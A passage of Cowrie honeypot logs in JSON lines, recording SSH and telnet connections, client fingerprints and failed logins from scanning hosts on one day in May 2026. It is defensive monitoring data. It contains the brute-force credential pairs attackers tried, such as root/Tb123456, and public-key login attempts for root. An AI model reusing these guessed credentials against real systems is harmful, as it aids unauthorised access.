f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:19.278743Z","src_ip":"43.156.17.27","session":"59d4be75dc9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"black","message":"login attempt [root/black] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:20.234176Z","src_ip":"43.156.17.27","session":"59d4be75dc9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42342,"dst_ip":"159.203.135.109","dst_port":22,"session":"c67e8ea252e5","protocol":"ssh","message":"New connection: 80.94.92.186:42342 (159.203.135.109:22) [session: c67e8ea252e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:21.456089Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:21.469860Z","src_ip":"43.156.17.27","session":"59d4be75dc9b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:21.522936Z","src_ip":"80.94.92.186","session":"c67e8ea252e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:21.659835Z","src_ip":"80.94.92.186","session":"c67e8ea252e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:22.359289Z","src_ip":"80.94.92.186","session":"c67e8ea252e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:23.471415Z","src_ip":"80.94.92.186","session":"c67e8ea252e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":49626,"dst_ip":"159.203.135.109","dst_port":22,"session":"953d3a484543","protocol":"ssh","message":"New connection: 193.32.162.151:49626 (159.203.135.109:22) [session: 953d3a484543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:53.173079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:53.178001Z","src_ip":"193.32.162.151","session":"953d3a484543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:53.284561Z","src_ip":"193.32.162.151","session":"953d3a484543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kryan","password":"123456","message":"login attempt [kryan/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:53.604473Z","src_ip":"193.32.162.151","session":"953d3a484543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:23:54.717986Z","src_ip":"193.32.162.151","session":"953d3a484543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":54056,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8fa74351035","protocol":"ssh","message":"New connection: 43.173.90.78:54056 (159.203.135.109:22) [session: e8fa74351035]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:05.236125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:05.241723Z","src_ip":"43.173.90.78","session":"e8fa74351035","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:05.310418Z","src_ip":"43.173.90.78","session":"e8fa74351035","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user123","password":"123456","message":"login attempt [user123/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:05.615669Z","src_ip":"43.173.90.78","session":"e8fa74351035","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:06.686753Z","src_ip":"43.173.90.78","session":"e8fa74351035","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.172","src_port":64040,"dst_ip":"10.17.0.5","dst_port":23,"session":"6da5c44f388e","protocol":"telnet","message":"New connection: 69.5.169.172:64040 (10.17.0.5:23) [session: 6da5c44f388e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:10.381296Z"}
{"eventid":"cowrie.session.closed","duration":0.1726243495941162,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:10.553781Z","src_ip":"69.5.169.172","session":"6da5c44f388e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":59884,"dst_ip":"159.203.135.109","dst_port":22,"session":"b471ad1b4dd6","protocol":"ssh","message":"New connection: 165.154.227.158:59884 (159.203.135.109:22) [session: b471ad1b4dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:11.671318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:11.676293Z","src_ip":"165.154.227.158","session":"b471ad1b4dd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:11.897218Z","src_ip":"165.154.227.158","session":"b471ad1b4dd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tb123456","message":"login attempt [root/Tb123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:12.798223Z","src_ip":"165.154.227.158","session":"b471ad1b4dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:14.018389Z","src_ip":"165.154.227.158","session":"b471ad1b4dd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.238.24.130","src_port":53186,"dst_ip":"10.17.0.5","dst_port":22,"session":"29aef8c4731f","protocol":"ssh","message":"New connection: 160.238.24.130:53186 (10.17.0.5:22) [session: 29aef8c4731f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:15.423925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:15.430210Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:15.561221Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:7f:87:82:02:c7:7c:17:b6:a9:f9:94:ff:bf:97:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7unF2uuZC7iSIQiom6v/du3Bv8HnyWX99rB9JlbUA/5htrto+Mql5unVVRjPK4VZJONSI9ycoGgJtyjp4adTvtLIoGC1b8qbO8XBIuVYkjj8ulPw4Hi9d61RSRX63uSzHwYM2sj09+SgTwjP1zsp9eaf2xxVGqUvERKVIgqSW/nZJC6W1T2WmCaKEBSk1Z9fpRDes7wmR9tlA/xz4OoGH4u1bh9oK9rxh8tFodqiWN5Q0l75LWs53+R1rrM4w3mG0rNh+vUrmYDqJvFa7qYt/o2lAenYD8llBmh6RfFnz7O2m3/yKsW8uBSX1yFWxjdXU6DJmHmSoMluwjB+aKakP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:7f:87:82:02:c7:7c:17:b6:a9:f9:94:ff:bf:97:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:16.186944Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:7f:87:82:02:c7:7c:17:b6:a9:f9:94:ff:bf:97:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7unF2uuZC7iSIQiom6v/du3Bv8HnyWX99rB9JlbUA/5htrto+Mql5unVVRjPK4VZJONSI9ycoGgJtyjp4adTvtLIoGC1b8qbO8XBIuVYkjj8ulPw4Hi9d61RSRX63uSzHwYM2sj09+SgTwjP1zsp9eaf2xxVGqUvERKVIgqSW/nZJC6W1T2WmCaKEBSk1Z9fpRDes7wmR9tlA/xz4OoGH4u1bh9oK9rxh8tFodqiWN5Q0l75LWs53+R1rrM4w3mG0rNh+vUrmYDqJvFa7qYt/o2lAenYD8llBmh6RfFnz7O2m3/yKsW8uBSX1yFWxjdXU6DJmHmSoMluwjB+aKakP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:16.190634Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:54:ad:fb:d1:3b:6d:f2:a9:16:f0:b7:86:b0:29:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsFaluUBIMai1sFe5MkXJRFfHOW+e/HWgCvb7+4dRAlw05e3lt6iLpwWxsYaQArTOHPotEehUtgYxIhOqOMpzry7tSss/Whc6L50GhnLLNdTLruUI3u4DVR4oCGmTT6US+tJBVA7nVHzkHSBh1jQxYaf976cYbrG7Wi0X4WYUH75esPqmXhuUZputl9YyS7RoRL61wtHDAQVoz1iV1iNawcRxNI8n8Ycv9u6EvEJnPf9kl31OPwgNHTL8bYdPQpceOshOQts2rZVJF+e+yzArTtgeMg2sJP64rBrcGZFIzYep7qBU9Le6VL5kQz5LRs5blJiNT9Rda/vxoXsCPsFIVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:54:ad:fb:d1:3b:6d:f2:a9:16:f0:b7:86:b0:29:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:16.319065Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:54:ad:fb:d1:3b:6d:f2:a9:16:f0:b7:86:b0:29:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsFaluUBIMai1sFe5MkXJRFfHOW+e/HWgCvb7+4dRAlw05e3lt6iLpwWxsYaQArTOHPotEehUtgYxIhOqOMpzry7tSss/Whc6L50GhnLLNdTLruUI3u4DVR4oCGmTT6US+tJBVA7nVHzkHSBh1jQxYaf976cYbrG7Wi0X4WYUH75esPqmXhuUZputl9YyS7RoRL61wtHDAQVoz1iV1iNawcRxNI8n8Ycv9u6EvEJnPf9kl31OPwgNHTL8bYdPQpceOshOQts2rZVJF+e+yzArTtgeMg2sJP64rBrcGZFIzYep7qBU9Le6VL5kQz5LRs5blJiNT9Rda/vxoXsCPsFIVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:16.323471Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:0c:34:b0:54:47:3c:94:50:e0:9c:47:64:af:6f:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyOpej4ywY41mmxsoxEJS+Bv6D97p0/XjfHsk2lFoPj8P67AvOXiQmjV9Q8DCzLMOm9YhSRGeE2mL6ZJR88hIYkQplnmK4b3DoSwaU0xpv9Wq1sK4xMCojWeqElypFqVAPGyripN9vBf3P5/asQ0nAMdiQ/A2v9qbE+YbZBxpbGYuptkYY1bqbqe/oyXp6pr17VKklutc2NIxmKyIcZGTuCeVfowdxYtKCtWHSeUYpcR8XpZyEm4k0S+xKEvWz1uBV7XJJ4FNAJ2qNRnliC+UZugm69ZRWMsec58PdvhgHcD4Lof/b/aDxFkN4IpkNIE++2FYtR1MTFASgO8detxLgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:0c:34:b0:54:47:3c:94:50:e0:9c:47:64:af:6f:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:16.458897Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:0c:34:b0:54:47:3c:94:50:e0:9c:47:64:af:6f:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyOpej4ywY41mmxsoxEJS+Bv6D97p0/XjfHsk2lFoPj8P67AvOXiQmjV9Q8DCzLMOm9YhSRGeE2mL6ZJR88hIYkQplnmK4b3DoSwaU0xpv9Wq1sK4xMCojWeqElypFqVAPGyripN9vBf3P5/asQ0nAMdiQ/A2v9qbE+YbZBxpbGYuptkYY1bqbqe/oyXp6pr17VKklutc2NIxmKyIcZGTuCeVfowdxYtKCtWHSeUYpcR8XpZyEm4k0S+xKEvWz1uBV7XJJ4FNAJ2qNRnliC+UZugm69ZRWMsec58PdvhgHcD4Lof/b/aDxFkN4IpkNIE++2FYtR1MTFASgO8detxLgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:16.463042Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:e7:01:78:18:0a:20:e5:14:d1:44:f5:1c:0f:03:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJtIRa3xhb6u7FS2iXlQz8Exgm8xXjLXRg+Wv0xlUZGH/6ptLwHuGVw9pW5mupoYWoeB3T3cUn4Z4XjtAviRgWB63SAgqNAKhRCtPj4dPlMbCBOzsHiXpt49escn50/O+diVE8yOI4hq/zo8ykhcEtAzcGoXepLBDPTYiVZmLzrRbS9MPpUMP1RYqz1BKQrS/4izfmPLnIlLjE9GzjMB0m+NLwB1zaMQGusz7ocXUkb/EBMLPi1DqtyHNWtQ8H8/vjigWhhWcxz7f0UFLGDmEbGaxl0J6r0I2vOKD+oe/yaamtaKmx24MyTe3oCUtrYmLVfl/4OurHtCq8se5AQDw9R26AmF2/pXFittuIpGXIRW9ZJULZ5EMPJ9z3Qumla5WYz4qM03iD9h+0HiyDAHJwLbf43ws/Fck6E37nHNymcVjjJ/uKHo3b7q1c8K9JcXj9MZjgJ3LRNtdg7UR/WWCLHELl+ZZDBEKONtLl4wH2kxTGjtaCIPB2btfm0IczweISdjg0CECG+5qnmedcPBZNEr/NV9p5KYJ/hnSnAzz1DEuxE9MZ4FSRCyGTgwJ8v8DFCb6VJIlPw/s99tzWmuW5tdbuKqhED6XGQmoQnF/Pp0aPEclBdDqb7T34fHwhMHiILzpF1jnfk7CgJCcR743Du5gEgfigTfzZK3iz+Kpfsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:e7:01:78:18:0a:20:e5:14:d1:44:f5:1c:0f:03:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:24:16.594268Z","src_ip":"160.238.24.130","session":"29aef8c4731f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:e7:01:78:18:0a:20:e5:14:d1:44:f5:1c:0f:03:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJtIRa3xhb6u7FS2iXlQz8Exgm8xXjLXRg+Wv0xlUZGH/6ptLwHuGVw9pW5mupoYWoeB3T3cUn4Z4XjtAviRgWB63SAgqNAKhRCtPj4dPlMbCBOzsHiXpt49escn50/O+diVE8yOI4hq/zo8ykhcEtAzcGoXepLBDPTYiVZmLzrRbS9MPpUMP1RYqz1BKQrS/4izfmPLnIlLjE9GzjMB0m+NLwB1zaMQGusz7ocXUkb/EBMLPi1DqtyHNWtQ8H8/vjigWhhWcxz7f0UFLGDmEbGaxl0J6r0I2vOKD+oe/yaamtaKmx24MyTe3oCUtrYmLVfl/4OurHtCq8se5AQDw9R26AmF2/pXFittuIpGXIRW9ZJULZ5EMPJ9z3Qumla5WYz4qM03iD9h+0HiyDAHJwLbf43ws/Fck6E37nHNymcVjjJ/uKHo3b7q1c8K9JcXj9MZjgJ3LRNtdg7UR/WWCLHELl+ZZDBEKONtLl4wH2kxTGjtaCIPB2btfm0IczweISdjg0CECG+5qnmedcPBZNEr/NV9p5KYJ/hnSnAzz1DEuxE9MZ4FSRCyGTgwJ8v8DFCb6VJIlPw/s99tzWmuW5tdbuKqhED6XGQmoQnF/Pp0aPEclBdDqb7T34fHwhMHiILzpF1jnfk7CgJCcR743Du5gEgfigTfzZK3iz+Kpfsw==","type":"ssh-rsa","message":"public key login attempt for [root] 